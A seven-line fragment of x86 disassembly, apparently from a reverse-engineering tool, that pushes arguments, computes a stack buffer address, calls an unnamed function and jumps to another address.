push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.0040dd49
add esp, 0xc
jmp 0x40fd50